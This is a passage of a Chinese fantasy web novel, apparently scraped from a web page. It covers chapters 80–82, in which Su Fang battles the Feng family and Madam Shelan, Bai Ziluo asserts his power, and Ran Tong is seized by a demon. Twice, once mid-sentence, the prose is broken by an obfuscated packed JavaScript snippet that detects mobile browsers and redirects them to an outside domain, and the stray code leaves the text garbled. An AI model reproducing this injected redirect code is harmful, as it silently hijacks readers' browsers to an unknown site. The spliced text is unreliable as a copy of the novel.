这番诱哄颇有道理,秦不羁直夸她机灵,猛地将其摄到身边,带着她跳入传送法阵,给苏芳留下一句传音:“大姐,老地方会合!” 80.立威 秦不羁的动作快如闪电,封家人来不及阻拦,眼睁睁看着传送阵的光芒消散。 封二娘急怒地号令弟妹们:“拦住苏芳,绝不能让她逃了!” 姐弟五人以灵力编织出囚网,试图封锁苏芳的行动。 苏芳听封二娘说出“逃”字,打消了追赶秦不羁的念头,轻蔑讥诮:“老娘几时要逃了?先宰了你们五个再走不迟!” 她念咒结印,刹那间雷声滚滚,无数闪电似天神刺落的钢叉汇聚在她周围,送来一群剽悍凶猛的雷兽。 曾经击败江琉玥的“夔牛惊雷阵”再度浩浩荡荡降临人间。 妖族天生惧怕雷电,苏芳的法力又异常强大,封家姐弟难以抵敌,囚网被夔牛左突右冲撞得粉碎,灵压也节节败退。 封四郎的妻子最先支持不住,惨叫倒退,封四郎急忙相救,也被夔牛狠狠撞飞。 阵型溃散,其余人苦形竭力也顶不住敌人的攻势,转眼人人吐血,个个挂彩。 苏芳威风凛凛站在雷电中央,恣意狂笑:“这点本事也敢惹老娘,就算封老怪亲自出马,老娘也能掰断他一根蚊子腿下酒!” 她抬手凝聚出一根雷电长矛,正瞄准封二娘投射。空中突然响起一阵与雷声相似,又区别明显的轰隆声。 只见一只如同山岳般巨大沉重的兽蹄从天而降,踩碎了大群夔牛,震波逼得苏芳接连倒退,神魂像瓶子里的水剧烈晃动。 那兽腿高耸入云,难以想象藏在云雾里的本体有多庞大。 “蚊子腿有什么可吃的,老身这腿结实肉多,你有本事且来尝尝。” 这苍老女音出现时,无比强烈的妖气似暴雨浇头,让苏芳感受到罕见的压迫感,知道这是封无牙的老邻居麝兰夫人。 封家人停止慌乱,封三郞望空呐喊:“麝兰夫人,这婆娘劫持了夏爷的小辈,请您务必捉住她交换人质!” 苏芳深知自己斗不过这头修为比当代妖王们更胜一筹的獐子精,但她早将示弱摒弃在人生之外,火气爆发,脑子便不清醒了,指天狂骂:“死老太婆还敢威胁我,老娘今天就把你腌了做腊肉!” 她召集残余的夔牛群,指挥它们向高空发起冲锋。 牛群们如同黑色浪潮逆流直上,蹄声震天,风火齐动,大有撞碎苍穹的威猛气势。 麝兰夫人淡定嘲谩:“你叫我老太婆就能显得自己年轻吗?岁数一大把还像个疯丫头,老身都替你臊得慌。” 苏芳目眦尽裂,几乎撕裂嘴角地暴吼。 “闭上你的鸟嘴!” 地面都被这咆哮震裂了,麝兰夫人很生气,声音明显凌厉:“老身是香獐,不是鸟!” 她呵斥时喷出罡风,好似成群猛龙扑向敌人。 原本势不可挡的夔牛群像脆弱的纸偶瞬间风流云散,漫空翻滚、飞舞,不断被撕裂,揉碎,化做飞灰。 厚厚的云层也被吹开缺口,麝兰夫人那大得惊人的本体露出冰山一角,一双巨眼如同燃烧的火窟,与之对视,魂魄也会熔解。 苏芳扛不住麝兰夫人强大的灵压,身体不由自主弯曲,膝盖像易折的竹竿咯咯作响。她知道对手想让她投降,偏不肯屈服,拼命抵抗着,不断下陷的过程中连续愤怒嚎叫。 麝兰夫人厌烦数落:“冥顽不灵,老身今日只当积德,好好治治你的疯病。” 她想一鼓作气废了苏芳,施法前天地气象霎时剧变,无数白色的光刃凭空闪现,携带凌厉威压,全方位射向她。 麝兰夫人用护盾挡住这铺天盖地的杀招,光刃来势密集迅捷,如同春蚕吐丝结茧,很快汇聚成光晕包裹护盾。她缩小体型,集中法力防御。两者相缠,仿佛宇宙之力编织的巨网困住了一颗不灭的星辰,冰火交锋,冷热对决,天地棋局争一瞬,胜负未分势未穷。 封家人躲在合力布下的防御阵内观看这震撼人心的战况,已认出袭击麝兰夫人的正是万象圣尊白子落。 封三郞的妻子和四弟妹感情深,痛恨苏芳重伤了她,见白子落为其撑腰非常愤恨,无惧危险地向那伸缩蠕动的光球叫骂:“白子落,我封家不曾得罪过你,你纵容苏芳来此闹事,还要帮着她伤人吗?护短也不是你这个护法!” 骂声似泥牛入海,白子落持续无声地对麝兰夫人施压,光刃越发狂暴,像被激怒的蜂群前赴后继扑向目标,少时已将那雷霆也难击破的护盾射出连片裂纹。 麝兰夫人初次与白子落交手,深感传闻不虚,来的多半只是分身,她应付其来便极为吃力,此人法力之强稳居凡界前三,与巅峰时的夏炎相去不远了。 白子落没什么耐心,白光泛起金辉,威力剧增,砰地一声,麝兰夫人的护盾似琉璃迸碎。 她急忙缩到灰尘大小,穿过光刃之间微乎其微的缝隙,瞬移到地面,变为人形,举着拐杖准备重新迎战,心里却很清楚,这场战斗胜算渺茫,若硬拼将带累封家人被对方一网打尽。 她不信白子落和苏芳一样疯癫,会干这种只亏不赚的买卖,望着他灵力盘踞的方位郑告:“白小友,咱们开打前先把话说清楚,你此刻是要救人还是杀人?” 白光聚集到最强时刷然消散,白子落犹如清风徐徐降落,一袭杏色长袍典雅飘逸,彰显不食人间烟火的贵气。笑容如春江花月,温润可人。 “夫人见谅,白某失礼了。” 他走到麝兰夫人对面拱手致歉,态度谦逊,并流露着全局在握的从容。 众人明白他先占据上风再现身是想立威,事后又表现得如此知礼数,真深谙权谋之道。 麝兰夫人冷嘲:“白小友今日的做法恐怕不止失礼这么简单吧。” 白子落泰然解释:“白某担心苏师姐安危,是以情急出手。夫人修为太高,白某不得不全力以赴才勉强阻止您。若再迟疑片刻,只怕师姐就要被夫人错杀了。无奈之举,还望海涵。” 麝兰夫人和封家姐弟都觉得他这番话说得滴水不漏,心机口才比起法力不遑多让,不止武力上占有压倒性优势,还想占尽道理。 妖族不像人类那样越有地位越抹不开颜面。 麝兰夫人不客气地抢白:“白小友的意思是你们清清白白,错全在别人身上?看清楚了,这里是灵樾森,并非七曜城的地盘。按你们人族的规矩,谁家养的狗跑人家家门口撒尿,即便被打死也活该。老身替你训狗,你正该感谢我才是。” 苏芳刚灰头土脸从地坑里爬出来,一听这话又想拼命,被白子落施术阻拦后,便不分皂白地冲他撒火。 “你如今真迷上讲废话了,跟畜生都说得来劲,干脆去庙里念经得了,蠢蛋!晦气!” 她在这儿讨不来好,便想去追秦不羁和冉彤。 封家人见她打开传送法阵,忙求麝兰夫人阻止,可是有白子落袒护,谁都无能为力。 白子落掩护苏芳大摇大摆离去,仍心平气和面对敌视他的大妖们,娓娓说明:“白某知道诸位怕苏师姐刁难那姓冉的小丫头,这点大可放心。义兄先时便为此事向我求助,适才诸位也看到了,那丫头安然无恙,这都是白某多方斡旋的结果。” 麝兰夫人额纹加深,一针见血打断他:“你真想帮夏爷,就不该让你那姓秦的手下带走冉彤,老身现在完全有理由怀疑你在包庇苏芳挟持人质,想对夏爷不利!” 白子落美玉般的脸掠过一丝黑气,猝然爆发出决堤般的恐怖灵力。 四周连绵的山脉仿佛惊醒的兽群震动摇晃,黄色的扬尘侵染天际,让世界变得混沌不清。 坚实的地面像松脆的薄饼被一双无形巨手掰成两半,巨大的裂缝贯穿整座森林,不断纵横扩张,企图吞噬地面上的一切事物。 麝兰夫人和封家姐弟急忙施法压制灾难,努力只换来触及灵魂的恐惧,在白子落强大的法力面前,所有抵抗都微不足道。 那可怕的敌人浮动在风暴中心,形象依然优雅飘逸,只是换上了目空一切的霸气眼神,像高明的戏子卸下了面具。 “白某向来清者自清,不惧谣言诽谤。但若有人胆敢离间我和义兄的关系,我便顾不得体面了。莫说小小的灵樾森,就是你们两族的王城圣域,本座也能轻易摧毁荡平。” 他悠闲的声音含着无穷威胁,每个字都似重锤狠狠砸在众人心头。 麝兰夫人明白他意在恐吓,让步才是最明智的抉择,以神识之力呼喊:“白子落,你既不畏人言又何必恼羞成怒?灵樾森这寒酸地界不配接待贵客,无事的话便请回吧!” 白子落达成目的,即刻收了法术,尘埃落定前他又恢复彬彬有礼的姿态,朗声道:“夫人替主人家逐客,白某怎好意思逗留,若日后还有兴趣切磋,白某随时候教” 他言辞诙谐,好像刚才所做暴行只是不值一哂的玩笑。 麝兰夫人不甘受辱,讥嗤道:“万象圣尊法力无边,还用在我这个老东西身上找自信吗?” 白子落笑而不语,对封家五人说:“适才苏师姐下手没分寸,若诸位有需要的话,白某愿为你们疗伤。” 五人都愤愤不平,封三郞代表家人们黑脸回绝:“我们妖族皮糙肉厚,这点小伤何足挂齿,阁下请便吧,恕不远送!” 白子落并不在意他们的态度,微笑着抬起右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大姐很快就来,你在这儿等会儿,我去那边歇口气。可别逃跑啊,这附近多恶妖,出了事我还得劳神去救你。” 冉彤还没傻到在这连方向都摸不着的地界乱跑,笑道:“晚辈也正想打坐调息,前辈放心休息,晚辈会听话的。” 她席地而坐,瞑目行气,等秦不羁离开忙着手对付那要命的幽影缚。先用神识探查,发现经脉中到处散布着碎渣似的阴气,想必就是幽影缚。 在用“海纳百川诀”融合阴气失败后,心想:天罡真雷专克阴邪,说不定能压制这些阴气。于是运用“潜机蛰息术”引导灵力在体内循环,带动阴气经过内丹,同时激发丹力与之对抗。 这办法相当有效,她的内丹如同熔炉,阴气冰沫般触之即融,运行一个小周天后,已清除了七八分,而秦不羁丝毫未曾察觉这边的动静。 她忍不住偷笑,暗嘲这莽汉心大,假如换个心思细腻,谨慎多疑的定会时刻监视,哪容她偷偷耍滑头。 她想不到秦不羁正派分身在别处用联络法阵向白子落禀报夏炎去伏牛山解救地母一事。 白子落端坐在王座上,面容冷峻地听完奏报,作色道:“囚禁地母,篡改灵脉都是颠覆凡界平衡的大罪过,离恨天此举真恶毒至极。” 秦不羁附和着痛骂离恨天,一面庆幸:“归墟的灵气没见衰竭,君上当初选中这块风水宝地真是好眼光。” 白子落叹气:“正因如此,本座才迟迟未能察觉离恨天的罪行,这是本座的过失。” 秦不羁忙说:“离恨天篡改灵脉又没祸害到咱们头上,君上不必自责。不过我们要不要帮忙解救地母啊?” 他几百年没痛痛快快打过仗,很想趁机试试身手。 白子落稳重道:“此事牵一发动全身,我们不便贸然参与。你只需密切监视夏炎的动向,真到了一触即发的时刻,本座自会决断。” 他的声音沉着冷静,每个字似乎都经过了深思熟虑。 秦不羁谨遵圣谕,却又不免担忧:“卑职怕大姐犯傻帮着老夏对付离恨天的人,那岂不会把我们都扯进去?” 白子落无奈苦笑:“都知道师姐脑子糊涂,做事荒唐,她再乱来本座也有理由推脱。况且你若劝阻,定会激得她六亲不认,万一受了伤岂不白白吃亏?倒不如随着她,闹出乱子也不打紧,本座自会善后。” 秦不羁只听出他对苏芳的溺爱包容,完全没往利用方面设想,跟着呵呵傻笑。冷不丁听他说:“刚才吴沛来找本座诉苦,说你们几个合起伙欺辱他,这是怎么回事啊?” 81.再次遇魔 吴沛险些害死秦万岁,秦不羁余恨未消,听说他竟敢到主公驾前搬是弄非,登时火冒三丈,横眉叫嚷:“君上切勿听信小人谗言,吴沛故意趁我们为万岁洗筋伐髓时注入妖力,几乎害万岁爆体而亡,幸亏大姐和冉丫头在,才帮万岁捡回一条命。卑职本想忍一口气,不同吴沛计较,这厮还敢恶人先告状,卑职这便去抓他来对质!” 他挥舞双手,口沫四溅,恨不得立刻去找吴沛算账。 白子落平静地抬手示意他稳重,温和道:“本座就觉得此事另有隐情,不会听信他的一面之词。不过吴沛有怨言也可以理解,他见你们几人关系亲近,又都不常和他来往,自会觉得受孤立。听他的口气似乎还责怪本座为你们撑腰,存心歧视轻贱他呢。” “这狗贼焉敢犯上!” 秦不羁捶地跳起,鼻孔喷出火星。 “待卑职去撕烂他的臭嘴给君上出气!” 他转身碰上灵力构筑的墙壁,脑门吃痛,倒退两步。 白子落叹气:“你这性子又何尝是个省事的?说走就走,眼里可还有本座?” 他软硬兼施,迫使秦不羁惶恐愧悔,忙重新跪好向他赔罪。 白子落秀眉微颦,眼中露出一丝烦恼,以诚恳的语气倾诉道:“秦不羁,咱们是相识多年的挚友,当年承弟兄们信任器重,推举我做了首领,可我从未以主仆身份取代我们之间的情谊,仍将你和苏师姐等人视作亲友。不在其位不谋其政,你是不知道做首领有多难,必须平衡各方势力,顾虑各方感受,稍有疏忽便可能引发动荡分裂。” 他看一眼秦不羁,摇头怅然:“我本以为‘十柱石’都是追随多年的老人,彼此知根知底,不用我多费心思。所以方才听了 吴沛抱怨很是吃惊,其他人之间有龃龉也还罢了,你们若闹了矛盾,岂非让我祸起萧墙?” 秦不羁听着主公的肺腑之言,满面通红,满心愧疚,歉意道:“卑职见识浅薄,险些坏了大事,愿受君上责罚。不过那吴沛着实可恶,‘十柱石’里就他一个败类,卑职看他迟早会是祸害,不如杀了另找人代替,省得他再兴风作浪。” 白子落啧嘴训斥:“本座说了这么多是在白费口舌吗?那吴沛毛病虽多,但对本座和七曜城确是忠心,能力也很出众,如今像他这样的部下可不好找,怎能因你们的私怨和个人好恶随便杀之?” 他几百年没在人前露愠色,秦不羁自觉闯了大祸,忙叩头请罪。 白子落像包容一只有缺陷的灵宠那样宽赦了他,注视他的眼神满含期许。 “秦老弟,你看在本座跟你推心置腹的份上,须牢记本座的忠告啊。如今夏炎复出,离恨天和妖族又即将起冲突,我们内部绝不能出乱子。本座已警告过吴沛,相信他不会找你们麻烦,你也别去招惹他,本座不指望你们亲密无间,能相安无事就好。” 他说一句秦不羁应一声,像被驯服的猛兽,老实得不能再老实。 白子落在他告退时貌似不经意地问:“那个冉彤眼下跟你在一起?” 秦不羁点点头,忍不住夸奖:“那丫头年纪虽小却十分讲义气,脑子也好使,卑职看她很有培养价值。” 白子落笑道:“你想让本座招安她?本座试过了,小丫头对夏炎死心塌地,拒绝得那叫一个干脆。” 秦不羁怒骂:“死丫头不识抬举!”,却因此更加欣赏冉彤。 忠诚比黄金宝贵,倘若这山望着那山高,再聪明也是个白眼狼。 他怕白子落对冉彤有成见,主动为其辩解:“她肯定没看清老夏的真面目才会上当,毕竟那老鬼是一等一的伪君子,糊弄小丫头自是轻松。待会儿卑职好好跟她说道说道,争取让她弃暗投明。” 白子落微笑:“你真是个知恩图报的人,还是别太上心了,那丫头戒心重,你跟她说夏炎的不是她定会以为你在挑拨。倒不如趁机同她搞好关系,今后或许还能通过她探夏炎的虚实。” 他交代完事项后撤走神识。秦不羁收了法阵,分身回归本体。 这时冉彤已将“幽影缚”的阴气清除了九成多,特意保留一点微小的分量。 这点阴气能让她感应到“幽影缚”,又不受伤害,是预防苏芳抽查设置的应对措施。 “冉丫头,你休息好了没?” 见秦不羁过来了,她忙起身回应:“晚辈的体力都恢复啦,秦前辈,苏前辈怎么还没来啊?” 秦不羁也纳闷苏芳来得太迟,估摸她被封家人绊住了。 “那几个虫子还奈何不了大姐,等她玩够了也好,省得留精神头折腾咱们。” 他的话颇有一物降一物的意思,冉彤憋着笑问:“前辈跟苏前辈关系真好,二位是不是认识很久啦?” “没错,我还是小杂毛时就认识大姐和君上了。那时他二人已是声名远扬的大修士,大姐还救过我的命呢。” 秦不羁微微仰头,脸上浮现怀念的神情。 “她还教了我不少有用的法术,我能有今天离不开她的提点。唉,你别看大姐现在这样,当年她可是仙女一样高贵端庄的女人,追求者比水里的鱼虾都多,她一个都瞧不上,最后竟被夏炎那老狗坑骗,落到如今这田地。” 提到夏炎,秦不羁像提仇人,声音全被牙关剔了一遍,每个音节都沾血。 这扒皮啃骨的恨意让冉彤难受,她不愿别人误解夏炎,忙说:“秦前辈,晚辈看过苏前辈的记忆,当年欺骗她的人真不是干爹。” 秦不羁不悦道:“我们这么多人难道还不如你一个毛丫头有眼力见?你少帮夏炎说话,那老鬼的德性我们再清楚不过了。” 冉彤量他不会伤害自己,倔强辩解:“晚辈就事论事,晚辈了解干爹的个性,那骗子言行风格和他差别太大,绝对不是他。” 秦不羁认定她受了蒙蔽,气急吼嚷:“姓夏的就是个虚伪的老骗子,最会假仁假义收买人心,一般人根本看不透他,我可是亲身感受过的!” 他说当年秦万岁刚出生便患有不足之症,性命垂危。他四处求医未果后去找夏炎,苦苦哀求他施救,因为只有他能使用重塑筋脉骨骼的苏生之术。可夏炎百般推诿,一再拖延。 “他给了我一些丹药,让我再等几年,他娘的,再等鬼差都来勾魂了。我走投无路,想抱着万岁自杀,幸亏君上及时出现救下我们父子,还耗费大量法力为万岁续命。从那以后我便彻底分清善恶黑白,忠心追随君上,而老夏那个没情义的狗东西,老子早当他是死人了,听说他被离恨天镇压,老子还高兴得摆了几天酒席庆祝呢!” 秦不羁语气斩钉截铁,自认在向冉彤讲述一个不争的事实。 冉彤起初惊讶秦万岁已上千岁了,而后相信秦不羁这样直率的大老粗不会撒谎诬陷人,认定这中间有误会,目前不知情,争论起来没意义,等询问夏炎后自见分晓。 她为此更想念夏炎,求秦不羁联系苏芳。 秦不羁纳闷苏芳为何迟迟不来,用神识向其发送信号。片刻后一道光芒穿林而至,苏芳现身了。 “大姐,您可算来了。” 秦不羁笑呵呵迎接,没留神苏芳漆黑的神色,被她狠狠一拳砸中面门,又做了一回钻山的木榫。 冉彤目瞪口呆,不明白苏芳为何发疯,怕受牵连,双腿抖瑟着赔笑问:“苏前辈,是哪个不长眼睛的惹您生气了?晚辈去替您教训他。” 苏芳指着惶惑返回的秦不羁大骂:“就是这个狗娘养的龟孙!只叫老娘去老地方会合,你个挨千刀的也不想想老地方有几十个,害老娘一个接一个地找,快把凡界转遍了!你爹妈竟敢不把你这蠢货教聪明了再死,老娘咒他们投胎一百次也不得昌盛!” 她和秦不羁交往两千年,曾使用过的固定会面地点多达上百处。秦不羁走时没说清楚,怕被封家人追踪也没开放神识,害苏芳没头没脑乱转。 让一个爆脾气的人重复做无用功等于燃烧炸药引线,她在寻找过程中便抓狂了好几次,其中一个“老地方”已变成村落,她去时大群山匪正在村里烧杀掳掠,都成了她的泄愤对象,被劈成柴棍似的焦尸。 秦不羁省悟失策,忙向苏芳赔不是,又被她暴揍几下。 冉彤担心封家人的安危,看老秦抱头鼠窜的滑稽相也不觉得好玩,小脸一直紧绷着。 秦不羁一顿作揖求饶换来苏芳停手,好奇问:“大姐杀没杀那五只虫妖?” 苏芳怨愤重燃,狠狠“呸”了一声:“别提了,他们家隔壁那老獐子突然横插一脚,差点害老娘栽跟头。后来白师弟来了,那老妖婆才没敢继续嚣张。” 秦不羁刚刚见过白子落,料想主公大获全胜,荣耀道:“凭君上的法力收拾那几只老妖怪还不轻而易举。” 苏芳撇嘴嘲谩:“他只顾说废话,老娘瞧着心烦,提前走人了。” 冉彤静静听着,思忖白子落老谋深算,应该不会对大妖们下杀手。 她暗暗松了口气,胸口突然没来由地一阵窒闷,立时反应到苏芳在催动她体内的幽影缚,赶紧夸张地双手卡住脖子,双眼鼓瞪,表情痛苦地倒地抽搐。 她的演技与时俱进,比在地母神宫冒充小蚰蜒精时更自然流畅,旁人瞧不出丁点破绽。 苏芳随即收了法术,狠戾警告她:“你肯定试过了,这幽影缚无法靠‘海纳百川决’融合,老娘刚刚又加了一层禁制,谁来都解除不了,你趁早死了这份心。” 冉彤爬在地上顺从求饶:“前辈放心,晚辈以后都听您的。求您别生气了,您不发火的时候更漂亮。” “死丫头,少跟老娘耍心眼!” 苏芳表面傲慢,态度明显缓和,没再凶狠威胁她。 秦不羁扶起冉彤,请示苏芳是否马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15068517|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去伏牛山。 苏芳让他们等会儿,换了一身华丽的新衣,重新画上精致的妆,打扮得光彩照人。 秦不羁明白她对夏炎余情未了,忍得了埋怨,忍不住牢骚,问她打扮这么美想给谁看。 “狗?的嘴巴可恶,废话还多!给你死鬼老爹看你敢不服?” 秦不羁敬畏白子落,对苏芳还多了一份同情,独独向她供应窝囊,闷声道:“服、服,只要您不嫌弃,当我老娘我都心服口服。” 冉彤见他都招架不住苏芳的泼悍劲儿,实难想象夏炎面对她的疯狂辱骂会窘迫到何种地步。 比法力,老鬼不怕他俩二对一,但若只是吵架,非被他们气吐血不可。这该如何是好? 三人动身出发,走了不到一刻钟来到一处山势巍峨的地界。 “到了,这里就是伏牛山。” 冉彤听苏芳一说,连忙举目四望,只见群山连绵,古树参天,山间云遮雾绕,阳光照射不透,远处传来可疑的呼啸,似风声,又像野兽的嚎叫。 苏芳以神识探查,入山不久受到禁制阻挡。 “离恨天在这儿守卫严密,老娘先去探路,你们两个原地待命。” 她化作光束射入深山,秦不羁抛出几面阵旗布下防御法阵,安慰冉彤:“冉丫头,有我老秦在,包你没事。” 冉彤安静地站在一旁,没理睬他。 秦不羁以为她害怕,没太在意,过了一会儿招呼她:“你吃果子不?我这儿还有几个给万岁采的灵果,你拿去混嘴吧。” 他将果子飘送到冉彤跟前,冉彤仍一动不动。 他察觉异常,连忙逼近查看,登时大惊失色。 冉彤变成了石像,本人不知去哪儿了。 那丫头使不出这么厉害的幻术,铁定被人掳走了! 秦不羁震惊恐慌,能在他眼皮底下偷天换日的必是绝世高手。 他赶紧飞奔搜寻,沿途高呼冉彤的名字,除了回音,没听到任何声响。 雾气在树梢间流动,形成诡异的漩涡,吞没了来路和去途。四周树木扭曲变形,如同舞爪张牙的怪物。看得出,这片森林打算留住入侵者。 苏芳离开后,大片浓雾像厚厚的毛巾盖住冉彤的眼睛,她慌忙施法驱赶雾气,等视野恢复清晰,秦不羁已不见了。 “秦前辈?秦前辈!?” 她恐悚地呼唤两声后便闭嘴,不敢发出任何声响,而后火速掏出清凉晶含在嘴里抵御幻术。 老秦在场都没能阻止偷袭,这敌人太强了。 她警惕张望着,不自觉后退半步,靴子踩在落叶上发出细微的沙沙声,这声音在死寂密林里格外刺耳,仿佛会惊醒沉睡的怪物。 周围传来一声相似的杂音,像有东西在树梢间跳跃,又像某种生物在暗处窥视。 她释放神识仔细搜索,没发现任何活物,但整座森林都像有知觉似的,正无死角监视她的一举一动。 她顶不住恐怖压力,慌促地御风飞逃。 身后的雾气中传来窸窸窣窣的响动,像无数细足在枯叶上爬行,可是神识依然无法捕捉到任何事物,那声音可能只是幻术造成的错觉。 右臂陡然吃痛,一看多出了三道血痕。 这可不是幻觉,真有东西在追踪袭击她、 周围飘散着越来越浓的腐臭,浓雾里那些狰狞的树枝正无序舞动着,像一群恶魔正进行某种邪恶的仪式。 冉彤慌不择路逃奔,一股强劲的力道猝然抓住她,她像被巨大的魔爪握住,再重重往下拍,砰地摔进绵软恶臭的泥土中,犹如跌进了尸堆,能触摸到死神冰冷的气息。 这时前方不远处传来一阵悠扬婉转的歌声,一名年轻男子正弹着琵琶浅吟低唱。 “血月高悬照穷途,地狱之门悄然苏。艳鬼翩跹随萤舞,仙音奏响烦恼除。琵琶拨乱人间苦,执念如蛊心深处。黄泉之畔皆迷雾,沉沦此境难再赎。听吾歌,享极乐,忘却尘世之枷锁。饮吾酒,求永生,踏入无尽的漩涡。莫思量,尽情欢,冥河之约不可说。心已醉,夜已残,永堕梦乡不回还 。” 歌声如铁索缠绕着冉彤的心神,天籁之音里混合着令人彻骨恐惧的诡异感。 她拼命运转灵力抵御歌声侵蚀,神识穿透浓雾探寻其源头。 那弹唱者悠然靠坐在粗树枝上,白衣胜雪,身姿潇洒。容貌艳丽得近乎妖异,竟是那天在森林里袭击她的魔族美青年。而他怀里抱着的琵琶则是用人的脊柱和肋骨雕琢制成的,琴头镶嵌着幼儿的髑髅,嘴巴正随着他拨弄琴弦的节奏不断开合。 “又见面了小姑娘,看来我是你命定的情郎啊。” 青年停止歌唱,修长的手指轻轻抚过琴弦,那令人心惊的嗡嗡声仿佛冤魂的呜咽。 当那双如丝媚眼瞟向冉彤时,凶残的恶魔再度瞄准了他的猎物。 82.重聚 冉彤对这魔物的恐怖行径印象深刻,想逃跑,身体突然被地下钻出的众多树藤迅速缠绕,那些树藤布满尖锐的倒刺,且锋利异常,没玄鳌灵甲保护她多半会被它们凌迟肢解。 “滚开!”她用雷术劈砍树藤,收效甚微,腰部以下被裹得密不透风,再迟片刻就会躺进魔植搭建的坟墓。 青年跳下大树,满面春风地走过来。一根树藤凑近他开出一朵鲜艳的红花,他拈花在手低头嗅闻,俨然风流的情郎来赴桑中之约。 随着他的逼近周围雾气转为血红,魔植们舞动的姿态越发癫狂,仿佛在为他的行动欢呼。 冉彤见逃跑无望,忙取出夏炎给的小泥丸,尽力向敌人投掷。 泥丸在空中炸裂,海量泥土像移动的沙丘扑向青年。 青年微露惊讶,身体遭几百条泥沙形成的触手缠绕,接着像落入坚硬的磨盘,被一点点绞碎。 连串惨叫中他的躯干四肢拧成麻花状,最终撕裂成无数碎片,消失在泥沙中。 可是现场的魔气并未衰减,冉彤知道魔物还活着,用神识四处寻觅他的踪影,一片漆黑的发丝忽然从头顶垂落至她眼前,带出青年悬浮的头颅。 “这法宝不错嘛,是夏炎给你的?你们究竟是什么关系啊?” 青年白得发绿的脸上挂着阴森邪恶的笑容,乌黑的嘴唇像剧毒腌渍的蜜饯,喷出腥甜的气息。金色竖瞳随着光线的变化不停收缩。张扬的黑发正快速转红,有生命一般在空中伸缩翻卷。 冉彤含着清凉晶还能抵挡幻术,怒视青年大声吼问:“夏炎在哪里!?” 青年发出愉快的笑声,像吸取甜蜜花香那般品尝她的恐惧。 “小姑娘别随便对老男人抱期望,会被欺骗感情哦。那花心的家伙正跟我姐姐亲热,哪有功夫管你呀。” 他遽然逼近,鼻尖几乎碰到她的脸颊。 “你还是选我吧,我保证比夏炎更会疼人,等我吃了你就用你的骨头做一把新琵琶,每天为你弹唱美妙的情歌。” 冉彤盯着那细针般即将扎入眼球的竖瞳,神魂笼罩在强烈的毁灭感中。 她不惜一切代价摆脱这种绝望,身体动不了,干脆用脑门撞击。然而敌人毫发未损,自己先撞了个头破血流。 青年夸张惊呼,后退嗔怪:“女孩子家家的怎么这么粗鲁?就算姿色一般也不能不爱惜自己的脸啊。” 他粉碎的身体如同被磁石吸引的铁屑飞快聚集到头颅下方,拼接复原后双手捧着脑袋安放到脖子上,转了转头舒活经脉,恢复到正常状态。 血珠已挂在冉彤的下巴上,青年双眼发亮,伸出分叉的舌头舔舐,闭起双眼,喉间发出赞叹的低吟:“这么新鲜的少女之血怎么能浪费呢?” 他伸手固定冉彤的头部,尽情舔舐她伤口溢出的鲜血,赞不绝口道:“简直像刚成熟的樱桃,你是我这一百年来吃过的最美味的女人。” 那冰冷黏腻的触感让冉彤浑身剧颤,感觉肮脏的爬虫正往伤口里钻。 “放开我!” 她不停尖叫,按在后脑勺上的利爪正慢慢陷入皮肉,怕到极点,脸庞滑落的血珠里混入了泪水。 蓦地,一道开天利剑般的闪电笔直垂落劈中青年,刺目的青色电光充斥全身,将他的骨骼、内脏彻底烧焦,浓烟透过七窍涌出,像个燃烧的稻草人跌向地面。 雷电同时劈碎了束缚冉彤的魔植,冉彤麻痹的身体失去支撑,也狠狠摔落,溅起一片污秽的泥点子。 她察觉魔气已从伤口涌入体内,忙运用“海纳百川决”融合化解,并抬头寻找搭救她的人。 这道雷击让拥有不死之身的魔物尝到了苦头,他顾不上冉彤,循着雷电的来向仰望,只见干云盖地的树枝已被生生扒出个大口子,一名美艳高挑,右手撑伞的女修士正踩着风雷傲然降落。 她的目光野性而凌厉,犹如两道寒芒射向他,灵压之强在人界实属罕见。 “苏前辈!” 冉彤看苏芳直如天神降临,欣喜激动地向她呼喊着。 苏芳白她一眼,问:“秦老三呢?” 冉彤委屈道:“您一走晚辈就和秦前辈失散了。” “这个饭桶!” 苏芳低声咒骂,也由此推断出敌人的实力,重新威严审视那青年。 青年已缓过劲儿来,再现玩世不恭地妩媚笑容,轻佻地回望她:“总算盼来一个美人,年纪虽然大了些,不过本公子不会介意的。” 冉彤忙不迭提醒苏芳:“前辈,这人是个魔物,上次就袭击过我,被干爹赶跑了!” 苏芳讥嘲:“姓夏的也是饭桶,竟不斩草除根。” 青年呵呵娇笑:“好端端的大美人喊打喊杀多煞风景,不如让我来陪你找点乐子。” 苏芳挑眉呲牙,挥舞纸伞放出数以万计的雷箭,急电星霜刺目炫睛,鸣镝寒声穿云裂帛。 青年脸上的笑容终于消失,谨慎施法阻挡这凶悍的雷术。 苏芳法力胜他太多,两三波攻势打得他接连败退,身体被灼烧出若干道焦痕,像漏气的皮球不断冒黑烟。 他摸清对手实力,强忍剧痛戏谑:“泼辣的女人才带劲儿。血像烈酒,越老越有滋味。” “没你妈老!” 苏芳破口大骂,升级法术。无数根雷矛刺向青年,瞬间将他戳成刺猬,再放电焚烧。 青年的身体化成黑灰,头颅依然完好。 苏芳猛虎般扑上去对那颗头颅拳打脚踢,招招尽力,打得他脸歪嘴斜,面目全非。 青年哀嚎抗议:“这样标致的脸,你怎忍心?!” 苏芳泼烦:“老娘见过的美男比世上的蚂蚁还多,你算个屁!” 说着,手快如骤雨,也是魔物经打,换成别人早成了肉酱。 大量黑灰兜头涌向她,趁她施法防御,裹住头颅飞到远处,重塑肉身后变成夏炎的形态。 “换成这副模样,你还舍得下手吗?” 青年发出夏炎的声音,神情也和夏炎如出一辙,冉彤看了都有些恍惚,心下骇然:这魔物幻术厉害,若真靠这层皮迷住苏芳就太糟糕了。 